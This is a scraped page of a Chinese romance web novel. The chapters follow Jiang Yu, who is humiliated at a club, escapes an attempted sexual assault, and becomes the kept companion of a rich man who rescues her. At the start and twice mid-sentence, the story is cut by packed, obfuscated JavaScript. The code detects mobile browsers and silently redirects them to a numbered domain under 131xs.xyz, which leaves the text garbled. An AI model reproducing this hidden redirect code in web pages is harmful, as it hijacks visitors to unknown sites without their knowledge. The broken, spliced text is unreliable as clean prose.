d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084571|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“只不过常换常新,最长的也没有超过半年。” 说最后这句话时,简娆耸了耸肩。 江余也跟着笑了笑,她今天来此的目的就是让许平答应投资。 可在推开包厢的门后,她的一颗心就好似沉入了冰底。 正对包厢门的卡座上,坐着一个跟江余渊源颇深的男人。 男人穿着粉色的衬衫,一手夹烟,另一只手探进身旁女人的衣摆下面,看到江余的时候,他的手都还没有伸出来。 在这里见到贺文瑞,江余就深知这件事恐是黄了。 果不其然,江余的脚还没有踏进包间,贺文瑞就已经松开了身旁的女子,朝她走过来。 “江余,竟然是你。” 贺文瑞的脸上有些震惊,后又指着简娆,问:“这就是你说要介绍给平哥的人?” 简娆也有些没反应过来,她疑惑的看向江余,点了下头。 江余面不改色,笑着对贺文瑞道:“好久不见。” 贺文瑞没有应她这话,反倒是大笑了几声,看向江余的眼神逐渐变得嘲讽,说出来的话更是把江余仅剩的这一层遮羞布撕个粉碎, “从前都不肯屈尊陪我吃一顿饭的江小姐,如今竟然沦落到来陪酒了,可真是风水轮流转啊。” 包间内播放的音乐恰好停下,贺文瑞的话稳稳落在了每一个人的耳中。 “怎么的,之前看不上我,结果你家刚一出事,那小白脸不也是另寻新欢去了,你这眼光也就这样嘛。” 江余平静的忍受着贺文瑞的奚落,顺着他的话往下说,“贺先生说的是,我的眼光确实不怎么样。” 贺文瑞跟江余一个学校的,之前追了江余好长一段时间,被拒绝多次后跟这群人喝酒时也说起过此事。 所以现在一听他这话,大家几乎都明白了。 “许小姐是吧,所以你今天来是想让我给你投资?”卡座中间的一个男人出声问。 江余听到这话,也猜到了男人的身份,她笑着点头,“是。” 许平说着就朝江余招手,随后又指着桌上的酒说,“来,你今天把这里的酒全都喝完,我就答应你。” 江余抬眸看了一眼许平,并没有挪动脚步。 许平既然跟贺文瑞相识,又怎会不顾他的面子给她投资,他之所以这样说,只怕也是为了给贺文瑞出一口气罢了。 倒是一旁的贺文瑞,直接拽着江余的胳膊就把她扯到了许平面前,“没听到平哥的话?” 江余脸上的笑意已经荡然无存,她的眼神逐渐冷了下来,从贺文瑞手中把自己的手抽出来,不带情绪的看向他。 贺文瑞被她这眼神看的心里有些发怵,但想到她如今的处境,又恢复成了方才一副目中无人的样子, “还当自己是之前那个衣食无忧的大小姐的呢,” “松手。” 江余之前为了摆脱贺文瑞的纠缠,做的事也比较绝,如今贺文瑞想起来,心中憋着的那口气自然也是要发泄的,他捏紧江余的手腕,咬牙切齿道:“江余,你现在还傲个什么劲。” 简娆瞧着事情的发展越发不对劲,立即上前想要缓和一下气氛,“贺先生,有什么话好好说,之前的事兴许有什么误会呢。” “滚开。” 贺文瑞伸手猛地推了一下简娆,简娆往后退了好几步,这才勉强稳住身形。 江余的手被贺文瑞捏的生疼,她的眼神在包间里四处看了一圈,这里面的人,每一个都是抱着看热闹的态度,他们的眼神没有一丝怜悯和动容,似乎对这种事早已见怪不怪。 就连简娆,被贺文瑞推了那一下,如今也不敢再上前,只有脸上带着一丝忧虑。 今天,她只怕没有那么轻易从这里走出去了。 5. 05 江余双手紧握成拳,她真是厌恶极了。 厌恶这种场所,厌恶这些人,甚至也厌恶她自己。 她很想直接甩手离开,但她不能。 能不能安全走出去先不说,她如果真这样做了,只会将利丰推向更深的深渊。 贺文瑞说的没错,她如今早已没有了任性的资格。 从前她有父母庇佑,可以拒绝不喜欢的人或事。 但现在她是一个即将负债累累的孤女,身后也只有一个缠绵病榻的七旬老人。 她身上的傲气,在此刻的显得可笑至极。 江余深吸一口气,压下心中汹涌的情绪,嘴角再次上扬,看着许平道:“那我就先谢过许总了。” 说罢,江余拿起面前的酒,仰头喝下。 紧接着就是第二杯,第三杯…… 最后江余也记不清她到底喝了多少,她只觉得桌上这酒像是有人源源不断续上一样,怎么喝都喝不完。 胃中的灼痛感一阵阵袭来,江余双手撑在桌上,额头上冒出许多细汗,脑中的意识也逐渐开始模糊。 她是真的喝不下了。 可桌上还剩了差不多一半的酒呢。 她该如何从这里走出去。 “江小姐,机会给你了,是你自己不中用啊。”许平嘲弄的声音响起。 江余抬眸看向他,扯了扯嘴角,艰难出声:“抱歉,是我扫了许总的兴致,我先走了,你们慢慢玩。” 说完,江余转身就想离开。 她原本想着,姿态放低些,让他们出出气,她就能走了,可贺文瑞存心找她麻烦,又怎会那么轻易放过她。 江余还没走出去两步,她的手腕就被贺文瑞再次拽住。 她喝了好些酒,贺文瑞没怎么用力,就将她拉到了怀中。 “江余,跟了我,你公司面临的问题都能解决。” 贺文瑞的话说的很直白,一点都没兜圈子。 江余忍住想吐的冲动,伸手去推贺文瑞,“贺先生的好意我心领了。” “江余,你他妈给脸不要脸是吧。” 从前被拒绝就算了,现在她都混成这样了,还是一副拒人于千里之外的样子,这让贺文瑞觉得十分落面子,当即就抬手给了江余一巴掌。 “楼上还有没有空房间?” 这话是问一旁的女生的。 “有……有的。” 那姑娘来这里没有多久,第一次见到这种架势,也被吓得不轻,怯生生的回答。 “带路。” 说完这话,还不等江余反应过来,贺文瑞就直接起身,拉起她就往外走。 “放手。” 江余挣扎了好几下都没挣脱开,反而被贺文瑞禁锢的更紧。 “贺少威武。” “贺哥,可别吃独食啊。” “……” 贺文瑞回头笑了笑,大声应道:“好说。” 包间瞬间爆发出一阵哄笑,那些不堪入耳的话越来越多。 这种事在他们中应该很常见,没有一个人害怕出事,也完全不怕有人报警。 他们赤裸的目光在江余身上游离,恨不得将她看个精光。 肮脏又恶心。 简娆一脸为难地看着江余,这些人都不是什么善茬,她也不敢得罪他们。 江余感觉整个人都如坠冰窟,她紧紧咬住下嘴唇,身体抑制不住的发抖。 在这些人眼中,她就像一个玩物一样,可以肆意推送玩弄。 根本没有人把她当人看。 凭什么? 他们凭什么这么对她。 这一瞬间,恐惧,屈辱和恨意都从心底滋生。 江余咬紧牙关,忍住几乎要夺眶而出的泪水。 这几个月来,她受尽了无数白眼,碰了许多壁,从来都没有屈服过。 她以为,只要她够努力,总会慢慢好起来的。 可现实却总是给她残酷的一击。 她提心吊胆的行走在悬崖边,无数的外力都在把她往深渊里推。 她还有其他选择吗? 她想,如果最终还是避免不了要走上这条路,那她宁愿是一个自己不那么反感的人。 路过简娆身边时,江余快速从嘴里吐出来一个名字。 “付政年。” 今晚简娆本来就觉得江余和付政年之前的气氛有些不对劲,如今听到她的话,她瞬间就明白了江余的意思。 在江余被贺文瑞带出门之后,简娆也是快速的跑出包间,朝着平时付政年他们常待的那个包间而去。 * 江余被贺文瑞粗鲁的推进房间,关上门后不顾她的反抗和威胁直接将她拖到床边,口中还在说着谩骂和侮辱的话。 江余握紧手中的手机,眼神频频朝门口张望。 “江余,老子今晚就是要办了你,只要你不怕事情被闹大,可以尽管报警。” 贺文瑞把江余推倒在床上,一把将她手中的包和手机扯了丢在一旁,边撕扯她的衣服边道。 江余的力气本来就没有他大,频繁的挣扎不旦没有什么效果,反倒再次激怒了贺文瑞,又被他打了几巴掌。 她来不及管脸上火辣辣的疼,目光一直紧盯着门口,迫切希望有人能够破门而入。 可都已经过去那么久了,就算康乔再大,人也该到了。 但门口却还是一点动静都没有。 她带着目的接近付政年,后又一连拒绝了他两次,他不帮忙也是在意料之中。 让简娆去找他,本就是在赌。 结果显而易见,她赌输了。 江余心中的希望渐渐消逝,取而代之的是一种无能为力的绝望。 有那么一瞬间她真的很想认命,想就这样随波逐流下去。 似乎也没什么大不了的。 可她就是不甘心。 江余的目光瞥到床头柜上放着的烟灰缸,她想都没想,伸手抄起来就往贺文瑞头上砸。 这一下,江余使出了全身力气,贺文瑞尖叫一声,捂着头倒在了一边, 趁着这个空隙,江余迅速从床上爬起来,拔腿就往门口跑去。 “臭**,你敢打我,你给老子站住,老子今天非得给你些教训。” 贺文瑞看了一眼满手的血,气急败坏的嘶吼出声,爬起来就准备去捉江余。 因为酒劲上头,江余脑子浑浑噩噩的,走路也踉踉跄跄,期间腿还被撞到了好几次,但她却不敢停下,脑中只有一个想法,就是从这里出去。 江余刚跑到门口,门就从外面被人推开,她撞上了一个硬挺的胸膛。 “妈的,是谁敢……” 贺文瑞的叫骂声突然停下,语气带了几分恐惧,“付…付总……” 明明只有几面之缘,江余也说不清为什么,关于付政年的事,只要她知道的,都记得十分清楚。 就像他身上的香水味,才一闻到,江余就知道是他来了。 她缓缓抬起头,与付政年的视线对上。 五颜六色的灯光打在他脸上,倒让他原本淡漠的气质少了几分。 江余此刻觉得跟他的距离似乎也没有那么远了。 她的目光一直在付政年身上,也就没有注意到付政年身后朝她投来的各种打量的目光。 付政年握住她的胳膊把她扶正,笑说:“才一会儿功夫,怎么就那么狼狈?” 他的语气中带着明晃晃的揶揄。 从踏进康乔开始,江余的精神就一直紧绷着,后来又喝了那么多酒,胃也一直隐隐作痛,她本来就是在强撑,如今看到付政年,不觉间松了口气,意识也彻底涣散。 她扯了下嘴角,刚想说点什么,结果眼前一黑就朝着付政年的方向栽去。 一直以来,付政年的目的都从未有过遮掩,江余也说不清楚为何在看到他的时候会觉得心安,以至于敢把自己往后的命运交到他手中。 付政年将人往怀中拢了拢,从身后付岱的手中拿过衣服给江余披上,随后将她打横抱起,对着贺文瑞一笑,“人我先带走了。” 这语气与其说是商量,其实用通知来形容更为贴切。 贺文瑞哪里敢说什么,在这个圈子里混的人,又怎么会看不出来,有些人,是得罪不起的。 付政年把江余抱上车,直接让司机往医院开。 他刚刚都已经到停车场了,突然又接到章烨磊的电话。 章烨磊知道他有事,只问他要不要管,如果要管的话他就去把人带出来。 付政年也不知道是怎么的,竟然鬼使神差的折了回去。 倒不是因为担心,纯粹就像看看江余此时是什么样,她身上的傲气又还剩下几分。 很明显,结果还是让他失望了。 付公子何许人也,头一次因为一个女人折返。 大家纷纷跟着上楼,想要看看究竟是个怎样的天仙,哪曾想还没看清楚人就晕了。 他们不敢去问付政年,就只好把火力全都集中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084572|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了从小跟付政年穿一条裤子的付岱身上。 结果付岱也是一问三不知。 付政年把江余送到医院,心里还记挂着家里的事,他叫简娆过来守着人,没多逗留就离开了。 * 江余是第二天下午醒来的,她还没来得及睁眼,就先闻到了一股消毒水的味道。 她皱了下眉,一睁眼就看见宫白卉靠在一旁无聊的刷着手机。 宫白卉见她醒来,立即走过来,问:“余余,你醒了,还有没有哪里不舒服?” “你怎么在这儿?” “我听简娆姐说你在医院,就过来看看你。” 江余眨了眨眼,昨晚上发生的事一帧帧从脑中划过,最后的记忆只停留在付政年出现后。 她环顾一圈,这个病房是VIP病房,只有她一个人。 想都不用想,这绝对是付政年安排的。 宫白卉听说了昨晚的事,面上也有些愧疚,“对不起余余,我不知道你和……幸好你没出什么事。” 江余坐起身,轻笑道:“这事跟你没关系,你不用自责。” “对了,你什么时候来的?” “没有多久,怎么了?” 江余抿了下唇,又问:“你来的时候这里没有其他人吗?” “简娆姐在,我来了她就回去了。” “她没有留下什么话?” “没有啊。” 江余“哦”了声,也没有再多问。 从医院出去,两人在附近的餐馆吃了饭,宫白卉的话本来就多,两人有一段时间没见,她的话匣子一打开就有些收不住,吃完饭后又拉着江余去附近的咖啡店坐了一会儿,直到宫白卉的电话响起,她们才走出咖啡店。 宫白卉今晚说的大多都是身边遇到的奇葩事和娱乐圈的八卦,只字不提昨晚发生的事。 认识十多年,她们似乎养成了一种默契,对方不想说的,她们从来都不会过问。 所以宫白卉没有问江余和贺文瑞之间的纠葛,也没有问她和付政年又是怎么回事。 江余自然也没有问宫白卉是如何认识的简娆, 以及此刻开着宾利来接她的男人是谁。 宫白卉对着驾驶座的男人招招手,趴在窗边说了句“你先等我一下”,随即又转身看着江余,神色略有些歉疚,“余余,我待会儿还有些事……” 江余下意识往车里看了一眼,男人看起来三十多岁,左手无名指上戴着一个戒指,她收回打量的视线,对宫白卉道:“没事儿,你先忙。” “好,那你早点回去,等有空了我们再聚。” “嗯。” 江余刚应声,宫白卉就迫不及待的上了副驾,从后视镜中,江余看到她一上车就搂着男人的脖子,凑过去在他脸上亲了一口。 江余想起了宫父那张不怒自威的脸,轻轻笑了下。 夜晚的风吹的有些凉,江余紧了紧衣服,伸手在路边拦了一辆出租车。 回到家后,江余先是看了下利丰今日的股价,或许是已经跌入谷底,如今起伏已经不大了。 随后她又打开电脑,处理了几份宁宏发来的文件,最后她才将目光放回手机上,思索再三后,给简娆发了条消息。 隔了一会儿,简娆就给她发来一串电话号码。 江余拿过纸笔,把这串号码记下,又打开手机一个数字一个数字的把这串号码输入进去。 她确认了好几遍,但却始终没有摁下拨号键。 她以为,付政年至少会留下只言片语,那她就能以此说服自己。 可他却一句话都没有留下,明摆着就是想让她心甘情愿的迈出这一步。 毕竟他那样的人,从来都不屑于勉强。 挣扎了许久,江余放弃了,她熄灭手机走进卫生间洗澡。 有些发烫的水迎头淋下,江余紧闭着眼睛,脑中好似浆糊,乱成一遭。 昨晚付政年出现的那一幕,始终令她挥之不去。 昏暗的氛围灯打在他身上,深邃的目光带着几分淡漠,嘴角勾起一抹漫不经心的笑,危险又迷人。 江余现在就好像一条搁浅的鱼,想要重回海里,但周围没有水,任她如何挣扎,都不得已前行半步。 想就这样认命死在沙滩上,却又始终抱有一丝希望。 逆水行舟,不进则退。 江余深吸一口气后睁开眼,抬手关了花洒,扯过一旁的浴巾裹上,走出去拿起手机,一鼓作气拨通了那个号码。 6. 06 时间仿佛被摁下暂停键,周遭的一切全都停止,发丝的水珠滴落在白皙的臂膀上,江余却浑然不觉,所有的注意力全都集中在手机上。 等待电话接通的时间,每一秒都格外漫长,铃声每响一次,她的心就跟着咯噔一声。 这一通电话,决定了她以后的人生轨迹,江余内心也很矛盾。 一边希望没有人接,一边又希望被接起。 半分钟后,电话终于被接通,一道低沉的声音伴随着有些嘈杂的声音响起,“喂。” 他应是找了一处安静的地方才接的。 江余缓了缓心绪,让声音听起来与平常无异。 “我是江余。” 电话那头沉默了几秒,很快便传来一道极轻的笑声,“江小姐这通电话,可真难等。” 江余故作没有听出付政年话中的调侃意味,不急不缓地说:“我下午才醒。” “嗯,我知道。” “你……” 静谧一会儿,江余刚准备继续开口,就听到付政年那边似乎有人在跟他交谈,他说了句“稍等一下”就把手机拿远了些。 大约过了一分多钟,付政年的声音才再次传来,“你刚刚想说什么?” “也不是什么要紧事,你忙的话我明天再给你打。”江余隐约听到他们刚刚好像是在谈生意。 “谁知道这电话一挂,江小姐睡一觉起来还记不记得自己说过的话。”付政年意有所指。 “……” “今晚有个饭局,本来也快结束了。”见她不吭声,付政年也没有再继续打趣。 他都这样说了,江余自然也不好再多说什么,把刚才的话说完:“你什么时候有空,我请你吃顿饭吧,多谢你之前…数次相助。” 付政年听后一口应下,“行,周五吧,我这两天要出一趟差。” “……好。”因为她之前的屡次拒绝,江余做好了会被他有意刁难的准备,哪曾想她答应的如此爽快。 这样看来,倒是她小人之心了。 挂断电话,江余添加了付政年的微信,这才又返回卫生间把澡洗完。 一切尘埃落定,她没有了先前那般踌躇,心也定了下来。 吹干头发后,江余拿着杯子走到阳台边,透过窗户往外看。 这北京城的雾,好像越来越大了。 * 隔天,江余一到公司,就看见宁宏满面笑容的等在她办公室门口,她走过去问:“宁叔,什么事这么开心?” 宁宏语气中的喜悦收都收不住,“江总,许氏答应给我们投资了,还有之前撤资的投资商也回来了不少,不出意外这两日材料就能采购齐全,生产部那边很快就能恢复生产,这次的危机过了。” 江余一愣,花了一会儿功夫才把宁宏这话消化掉,她淡淡的“哦”了一声,说了句“进去说吧”就先进了办公室。 瞧着前段时间利丰的情况,宁宏也以为撑不了多久,如今起死回生,他一时兴奋,没有注意到江余的神色不对劲。 宁宏把情况详细的跟江余说了下,又把手中的文件放到江余桌上,“这是今天这些公司发来的初步合同,你先看看有什么要改的地方,我再跟他们对接一下。” 江余仔细的看完,发现每一个公司的让利都较之前多了几个点。 宁宏对此也有些疑问:“无论是许氏还是其他企业,都给我们让的有利,起初我还觉得有诈,但是白纸黑字写的清清楚楚,合同完全没有什么问题。” 江余对着宁宏扯了扯嘴角,道:“宁叔,您先去忙吧,我再看看,有什么问题再叫您。” “好。” 宁宏离开后,江余本来打算给付政年打个电话问问是不是他安排的,结果一个陌生的号码先打了过来。 江余接起来放到耳边,“喂。” 听到她的声音,对方立即开口:“江总您好,我是许平,合同已经发到你们公司了,您应该看到了吧。” 许平语气中的讨好让江余有些不适,她敷衍的应了声,“嗯。” “您那边如果没有什么问题的话,那就可以往下一步推进了,您什么时候有时间,我请您吃顿饭,咱们把合同签了,也为前天晚上的事跟您道个歉。” 江余没忍住笑了,再一次感叹什么叫见风使舵。 之前可随意羞辱,现在见她“攀上高枝”了,又纷纷转变态度各种讨好。 江余自然是应下了,她还没有清高到把到嘴边的肉扔了。 一开始她还想打电话问问付政年,但现在也觉得没有这个必要了,无论是他安排与否,这些人答应投资,也都是看在他的面子上。 这个人情,她总归是要欠的。 既然如此,过程如何,又有什么关系呢? * 到了周五这天,江余从一大早就开始在忙,连着开了好几个会,一直到下午四点才有时间看手机,看到付政年发来的消息,她才惊觉之前跟他约好的就是今天。 “几点下班,我过来接你。” 江余看了眼自己身上的通勤装扮有些头疼,所幸她租的房子距离公司不是很远,她回了个六点,还有小区名字。 付政年很快又回了一条,“我记性还没那么差。” 怎么说呢,江余倒不是担心他忘记,就是怕他送过的人太多,记岔了。 她回了个表情包,把这件事掲过去。 江余把手里面剩余的工作处理完了才收拾东西走出公司,打了个车回去。 * 付政年的车其实不是很显眼,尤其是在北京城这个地方,比他招摇的人多的是。 但车辆一拐过弯来,江余还是一眼就认出来了,只因他的车牌号最后三位数是619,也正巧是她的生日。 还是黄师傅开车,江余拉开后车门坐进去,先是看了付政年一眼,他今天穿了件黑色的休闲衬衫,袖口挽上去一截,半靠在椅背上,平添了几分懒散。 “想吃什么?”她一上车付政年就问。 “你决定吧,我不挑食。” 付政年点点头,笑说:“行。” 随即他说了个位置,让黄师傅往那个地方开。 车子刚开出去,江余便打破了沉默,真诚地说:“谢谢。” “谢什么?” 不知道他是真没听懂还是故意的,江余郑重其事的又说了一遍。 “之前的事,谢谢。” 无论是他从贺文瑞那里把她带走,还是华创的延期和许氏的投资,亦或者是之前下雨送她的那一程,她都理应跟他说声谢谢。 就算这些事对他来说是微不足道的小事,但于她而言,无异于溺水时飘来的浮木。 付政年也确实没有把这件事放在心上,“这话我听太多了,说点别的吧。” 这话给江余说愣了,她从来都不是一个擅于主动挑起话题的人,尤其是跟不太熟的人,“你想聊什么?” “......”付政年没说话,直勾勾的盯着她看。 江余抿了下唇,这才意识到这话有些不妥,她把人约出来的,如今这样倒好像她在摆谱。 她在脑子里疯狂思索以他们如今这样的关系,说什么才能不显生疏又不逾越。 看她一脸的愁容满面,付政年又笑了下,眼神落在她的衣服上,白色的连衣裙,外面套了一件浅蓝色的外套,头发半挽,十分符合她的气质。 “特意回来换的?” “嗯,”江余轻轻点头,半开玩笑道,“这不是怕给您丢人嘛。” “对自己自信些。” 她就当他是在夸她了吧。 …… 付政年挑的位置离这不是很远,两人闲聊一会儿的功夫就到了。 这家餐厅是传统元素和现代元素交错设计,玻璃幕墙与木质格栅交错拼接,门框上缠绕着镂空雕花的枝蔓。 顶部垂落的琉璃灯串折射出细碎光晕,与LED屏上循环播放的水墨山水动画相映成趣。 里面的天花板上挂着竹编艺术吊灯,暖黄光线透过疏密不一的竹篾,在水磨石地面投下斑驳光影。 隐藏式音响流淌着新编的古曲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084573|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电子琴与琵琶的合奏轻快又灵动。 用餐区以半透明的树脂屏风分隔开,屏风上用鎏金绘制成各式各样的图案。 店里的服务生全都统一穿着新中式改良旗袍,见他们进去就立即迎了上来。 付政年要了一个包间,服务生引着他们往楼上走。 踏进包间,一股很淡的沉香味扑鼻而来,桌上正烧着一壶水。 付政年让侍应生把菜单给江余,江余随便点了两个菜又把菜单递过去给付政年。 等待上菜的过程中,付政年十分有闲情雅致的泡起了茶, 江余撑着下颌看了他一会儿,后来便伸手摆弄着桌上的干枝插花。 付政年抬起头时恰好看到这一幕,她一只手撑着下颌,另一只手拨弄青瓷瓶里的干花,在身后复古屏风映衬下,眉目间婉约似水,脸部线条柔和,活脱脱像一个从古画中走出来的人。 这个地方,倒跟她的气质格外适配。 这样想着,付政年竟不自觉的笑出了声。 江余茫然地回头看他。 付政年慢条斯理地倒了杯茶放在她面前,眼皮都未抬一下,“想好了?” 江余当然知道他问的是什么,郑重地点头,“嗯,想好了。” 即便前路充满未知坎坷,荆棘丛生,即便最后会万劫不复,既然做出选择,她就不会后悔。 “你公司怎么样了?” 听到这话,江余微微一愣。 所以许平示好以及让了那么多利,的确不是付政年吩咐的。 她现在倒是真有些好奇付政年的身份了,一点捕风捉影的消息,毫无实质,就能让许平做到这个地步。 “托您的福,拉到了不少投资商,股价也有所回升,这次的危机算解了。” “有需要随时跟我说。” 江余木讷地点了点头。 听到她这句半是恭维半是玩笑的话,付政年问都没有多问一句,就只留下这样一句话。 毫不关心,毫不在意。 你有要求,你就跟他说,能做到的他会帮你。 但他却从来不会主动留意这些事。 高阳那事是因为江余上了他的车,还提了起来,对他来说不过就一个电话的事,于是就做了个顺水推舟的人情。 那天在康乔,如果不是她主动求助,付政年也不会多管闲事。 本就不是什么特殊的人,自然也不会让他特殊相待。 江余打量他几眼,实在是有些想不通,明明行事看起来如此温柔的一个人,骨子里怎么会如此凉薄? 不过江余心里反倒轻松了不少,至少,她能够摆正自己的位置,不至于越了这个界去。 江余知道自己这样跟着付政年意味着什么,因为一开始就是她有求于他,最后分开也只能她单方面的被抛弃,连句分手都谈不上。 毕竟,他们并非正常的恋爱关系。 但她始终有自己的底线,绝对不会插足别人的感情。 她原本有许多想要说的话,现在也觉得没必要了。 简娆不是说了吗,他们身边的女人最长也没有超过半年的。 付政年总不会就在这几个月的时间内,突然结婚吧。 最后付钱的时候付政年拦住她,说出来吃饭哪有让小姑娘付钱的道理。 江余却说,这顿就我来吧,说好了请你的。 她的内心深处,或许也有自己的私心吧。 见她十分坚持,付政年也就随她了。 这一顿饭过后,两人的轨迹正式交叠,他们也达成了一种心照不宣的默契。 付政年只要一有空就会叫她出去,吃顿饭就把她送回来。 两人说的话不多,大多时候都在保持沉默。 至于微信上的联系那就更少了。 付政年出手也确实大方,每次见面都会给她带一份礼物,价格都不便宜。 江余全都照收不误。 付政年喜欢的也正是她这点,清醒,干脆。 想着以后分开了,也不会闹出什么事。 7. 07 时间转眼来到十一月底,京城的天气越发的冷,天空灰蒙蒙的,空气也十分干燥。 付政年最近应该是有些忙,连着一个星期都没有找她。 江余这天下班比较早,就去水果店买了些东西,打算去疗养院看看奶奶,结果她刚结完账,付政年的电话就打了过来。 个位数的天气,江余提着一袋水果在附近的公交站等了付政年一个多小时。 今天付政年是自己开车过来的,江余拉开副驾驶的车门上车,直接把手里的水果往他跟前一扔。 付政年不明所以的看着她。 江余用自认为十分温和的语气说:“给您的见面礼。” “……”付政年笑了笑,问:“生气了?” 今天确实是他的问题,让人冒着寒风等了那么久,受她一顿气也没什么。 付政年抬手为她捋了捋被风吹乱的发丝,又捏了下她冻得发红的脸,“我的错,该提前跟你说一声的。” 或许是他的语气和动作都太过温柔,也可能是车内的空调驱散了她身上的凉意,江余的脾气顿时没了,她把水果从付政年身上拿过来放到后排的座位上。 “走吧,这里不能长时间停车。” 付政年属实没有想到她会那么好哄,这气消的极快,好似方才是他的错觉一般。 可能是心情大好,情话也是张口就来,“扣几分而已,哪有哄你高兴重要。” 他这话虽顺口,眼中却充满热意,真诚到差点让人当了真。 江余没敢去看他,说了句赶紧走吧就转身去拉安全带。 路上付政年跟江余说了,明儿是他堂弟付岱的生日,今晚就叫出来一起玩玩。 江余点头应了声,也没问为什么明天的生日要今晚提前过。 话都说到这了,江余就多嘴问了句,“你生日是什么时候?” 认识这段时间以来,江余极少会主动问他什么,她这一问,倒奇迹般的让付政年有了一种受宠若惊的感觉。 “上月刚过。” 江余暗自松了口气,幸好不是接下来的几个月,不然她可能还要耗费精力给他准备礼物。 她表现的过于明显,付政年有些忍俊不禁,“至于高兴成这样?” “没有,我在想要不给你补一份礼物。”江余笑笑,这段时间跑了太多的宴会和饭局,场面话说的也是越来越溜。 “你给我开空头支票呢?”付政年头一次被人用这种话敷衍,一时也觉得有些新鲜。 江余笑着说哪有,认真的。 车内的空调温度刚刚好,不冷也不会叫人觉得闷,两人说话间也比平常少了些疏离。 付政年先带江余去吃了饭,才又将她带到了一处私人娱乐会所。 会所位于最繁华的街道,但它外面的设计却十分低调寻常,如果不是看到里面的场景,江余都以为这只是一套普通的住宅。 一楼很空,只简单放了几张台球桌,后面的架子上摆满了酒,冷凋灯光打在上面,显得此处更加的空旷寂寥。 楼上隐隐传来的欢笑声,也被楼梯口的那道白光隔绝在外,形成了两个世界。 付政年径直带着江余往楼上走,越往上声音越大。 推门进去,里面有不少人。 正中间的舞台上两个歌手在上面弹唱,右边墙壁前也摆了一个架子,上面的酒比一楼的还要丰富。 长沙发上坐了好些人,男男女女都有,左边还放了两张牌桌和赌桌,上面都零零散散的坐着人。 看到付政年进来,气氛霎时安静,纷纷开始跟他打招呼。 付政年随意的应着,揽着江余的肩往靠窗的那张牌桌走去。 “四哥,你来了。” 那边的牌局刚好结束,付岱抬起头,先是跟付政年打了个招呼,看到她身旁的江余后,礼貌的点了下头,“江小姐。” 倒是付岱对面的男人立刻站起来,笑眯眯地道:“呀,还真是个天仙啊,妹妹叫什么名字?” 看到此人的时候,江余也是愣了一下。 她虽没有见过他,但却是认识的。 两年前,红极一时的一位女歌星跳楼自杀,这则新闻迅速登上娱乐头条,结果两分钟不到,热搜全面被撤,网上一点消息都搜不到。 当时江余还在学校,排练时听导师说过一嘴,那位歌星搭上了个富二代后资源突飞猛进,有了自己的工作室和人脉,各种商务代言也是层出不穷。 原本是一场各取所需的交易,可这位歌星却偏偏动了不该有的念头。 她用了各种手段,甚至还怀孕逼婚,但最后也终是没能嫁入豪门。 在她腹中的孩子被迫流产后患上了抑郁症,最后走上了绝路。 那位歌星是江余的师姐,两人在学校也有过接触,在江余的印象中,她是一个极为理智,且有目标的人,所以听到这个消息的时候,她也是十分震惊的。 没想到越是清醒的人,陷进去之后越难走出来。 江余当时很好奇这位富二代是谁,就私下打听了一番。 虽然消息被压的很严实,但圈子那么大,总会有些消息漏出来,江余得知那位富二代是顶级财团陈氏的公子,陈和畅。 江余去网上找了许久,才找到一两张照片。 面前的人,恰好与照片对上了。 江余收回思绪,笑了下,“我叫江余。” “我叫陈和畅,你可以叫我一声陈哥哥。”陈和畅挤眉弄眼地说着。 “……” 付政年嗤了声,说:“他老子老年得子,惯的他一身毛病,你别搭理他。” “四哥,你也不知道给我留点面子。” 牌桌上的另外几人也跟着笑了笑。 这时候离他们最近的一人站起来,说了声“政年哥,你们玩”就往另一边走了。 付政年没有立即坐下,反而是问江余:“会玩吗?” 江余点头,“一点儿。” 付政年让她坐下,自己则从一旁拉了张凳子坐在她身边,随手点了根烟,“你随便玩。” 他这姿态,大有一种给她兜底的架势,你随便玩,输了算我的。 江余笑了笑,没再说什么,跟他们玩了起来。 她上场的第一局就输了。 就陈和畅一个人赢,他笑着说,“多谢江妹妹手下留情了。” 或许是因为师姐的事,江余对陈和畅实在没什么好印象,听到这话,她也只是强行的挤出了个笑来。 听他们的聊天内容,江余知道了坐在她对面的一直不怎么说话的那个人就是康乔的老板,章烨磊。 章烨磊跟江余想象中的不太一样,他话很少,脸上几乎没什么表情,全程她只听他说了一句话,那就是在陈和畅问起付政年齐家的事解决的怎么样时,他跟付政年说了句“你就是太给他们脸了。” 或许是他的语气过分冷,坐他身旁给他摸牌的女人吓了一激灵,刚拿到手中的牌就这样掉到了桌下。 章烨磊看向她,女人的脸色霎时惨白,忙道:“对不起章公子。” 江余轻轻抬眼,看了一眼后便收回了目光,捏牌的力道不由加重了几分。 陈和畅忙打圆场,“烨磊哥,差不多行了,可别吓到我们江妹妹。” 章烨磊看了江余一眼,从女人手里接过方才掉地上的牌,淡淡道:“下次小心些。” 明明应该是一句关心的话,但从章烨磊口中说出来却莫名让人有一种威胁的意味。 